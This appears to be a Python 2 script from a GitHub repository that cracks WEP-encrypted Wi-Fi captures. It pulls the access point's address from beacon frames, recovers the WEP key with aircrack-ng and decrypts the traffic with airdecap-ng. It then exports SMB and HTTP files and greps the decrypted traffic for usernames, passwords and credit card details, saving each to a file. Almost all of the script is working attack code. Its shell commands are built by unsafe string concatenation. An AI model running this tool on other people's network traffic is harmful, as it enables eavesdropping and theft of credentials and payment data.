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pcap-cracker.py
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#!/usr/bin/python
# coding:UTF-8
# -------------------------------------------------------------------------------------
# PYTHON UTILITY FILE TO CRACK ENCRYPTED .PCAP FILES CAPTURED BY WIRESHARK
# BY TERENCE BROADBENT BSC CYBER SECURITY (FIRST CLASS)
# -------------------------------------------------------------------------------------
# -------------------------------------------------------------------------------------
# AUTHOR : Terence Broadbent
# CONTRACT: GitHub
# Version : 1.0
# Details : Load required imports.
# Modified: N/A
# -------------------------------------------------------------------------------------
import os
import sys
# -------------------------------------------------------------------------------------
# AUTHOR : Terence Broadbent
# CONTRACT: GitHub
# Version : 1.0
# Details : Display my universal header.
# Modified: N/A
# -------------------------------------------------------------------------------------
os.system("clear")
print " ____ ____ _ ____ ____ ____ _ ____ _ _______ ____ "
print "| _ \ / ___| / \ | _ \ / ___| _ \ / \ / ___| |/ / ____| _ \ "
print "| |_) | | / _ \ | |_) | | | | |_) | / _ \| | | ' /| _| | |_) | "
print "| __/| |___ / ___ \| __/ | |___| _ < / ___ \ |___| . \| |___| _ < "
print "|_| \____/_/ \_\_| \____|_| \_\/_/ \_\____|_|\_\_____|_| \_\ "
print " "
print " BY TERENCE BROADBENT BSC CYBER SECURITY (FIRST CLASS) \n"
# -------------------------------------------------------------------------------------
# AUTHOR : Terence Broadbent
# CONTRACT: GitHub
# Version : 1.0
# Details : Conduct routine and simple tests on supplied arguements.
# Modified: N/A
# -------------------------------------------------------------------------------------
if os.geteuid() != 0:
print "\nPlease run this python script as root..."
exit(True)
if len(sys.argv) < 2:
print "\nUse the command python pcap-cracker.py wiresharkfile.pcapng\n"
exit(True)
filename = sys.argv[1]
if os.path.exists(filename) == 0:
print "\nFile " + filename + " was not found, did you spell it correctly?"
exit(True)
# -------------------------------------------------------------------------------------
# AUTHOR : Terence Broadbent
# CONTRACT: GitHub
# Version : 1.0
# Details : Check all required dependencies are installed on the system.
# Modified: N/A
# -------------------------------------------------------------------------------------
checklist = [ "airmon-ng", "tshark", "editcap" ,"pcapfix"]
installed = True
for check in checklist:
cmd = "locate -i " + check + " > /dev/null"
checked = os.system(cmd)
if checked != 0:
print "I could not find " + check + "..."
installed = False
if installed == False:
print "\nInstall missing dependencies before you begin...\n"
exit (True)
# -------------------------------------------------------------------------------------
# AUTHOR : Terence Broadbent
# CONTRACT: GitHub
# Version : 1.0
# Details : Check type of wireshark file and adjust as required (pcapng --> pcap).
# Modified: N/A
# -------------------------------------------------------------------------------------
newfiletype = filename[:-2]
typetest = filename[-6:]
print "Filename : " + filename
print "File Format : " + typetest
if typetest == "pcapng":
print "Crack Status : Converting file format..."
os.system("editcap -F pcap '" + filename + "' '" + newfiletype + "' > /dev/null")
filename = filename[:-2]
print "New Filename : " + filename
# -------------------------------------------------------------------------------------
# AUTHOR : Terence Broadbent
# CONTRACT: GitHub
# Version : 1.0
# Details : Sometimes captured .PCAP files cut off or are corrupted in other ways.
# Modified: N/A
# -------------------------------------------------------------------------------------
os.system("pcapfix -d '" + filename + "' -o Fixerror.pcap > /dev/null")
if os.path.isfile('./Fixerror.pcap') !=0:
os.rename(filename, "Oldpcapfile.pcap")
os.rename("Fixerror.pcap", filename)
print "Crack Status : Fixing file errors.." + filename
print "Orginal Renamed : Oldpcapfile.pcap"
# -------------------------------------------------------------------------------------
# AUTHOR : Terence Broadbent
# CONTRACT: GitHub
# Version : 1.0
# Details : Extract the SSID from the .PCAP file.
# Modified: N/A
# -------------------------------------------------------------------------------------
print('-' * 100)
cmd = "tcpdump -ennr '" + filename + "' '(type mgt subtype beacon)' | awk '{print $13}' | sed 's/[()]//g;s/......//' | sort | uniq > SSID.txt"
os.system(cmd)
print('-' * 100)
ssid = open("SSID.txt").readline().rstrip()
os.remove('./SSID.txt')
ssid = "00:" + ssid
if ssid == "00:":
print "Empty SSID : Error..."
exit (True)
else:
print "Service Set Id. : " + ssid
# -------------------------------------------------------------------------------------
# AUTHOR : Terence Broadbent
# CONTRACT: GitHub
# Version : 1.0
# Details : Extract the WEP key fom the .PCAP file using the SSID
# Modified: N/A
# -------------------------------------------------------------------------------------
os.system("aircrack-ng -b " + ssid + " '" + filename + "' > Answer.txt")
os.system("awk '/KEY FOUND!/{print $(NF-1)}' Answer.txt > WepKey.txt")
os.remove('./Answer.txt')
wep = open("WepKey.txt").readline().rstrip()
os.remove("./WepKey.txt")
print "Wired Privacy Key : " + wep
# -------------------------------------------------------------------------------------
# AUTHOR : Terence Broadbent
# CONTRACT: GitHub
# Version : 1.0
# Details : Use the WEP key to creat a cracked version of the .PCAP file.
# Modified: N/A
# -------------------------------------------------------------------------------------
os.system("airdecap-ng -w " + wep + " '"+ filename + "' " + "> /dev/null")
filename2 = filename[:-5]
filename2 = filename2 + "-dec.pcap"
os.rename(filename2, "Cracked.pcap")
print "Cracked File : Cracked.pcap"
print "Crack Status : Extracting Data...\n"
# -------------------------------------------------------------------------------------
# AUTHOR : Terence Broadbent
# CONTRACT: GitHub
# Version : 1.0
# Details : Now conduct some reconissance on the cracked file.
# Modified: N/A
# -------------------------------------------------------------------------------------
os.system("tshark -nr Cracked.pcap --export-objects smb,Smbfolder > /dev/null 2>/dev/null")
os.system("tshark -nr Cracked.pcap --export-objects http,Httpfolder > /dev/null 2>/dev/null")
os.system("ngrep -q -I Cracked.pcap | grep -i username > Username.txt")
os.system("ngrep -q -I Cracked.pcap | grep -i password > Password.txt")
os.system("ngrep -q -I Cracked.pcap | grep -i credit > Creditcard.txt")
os.system("ls -p")
#Eof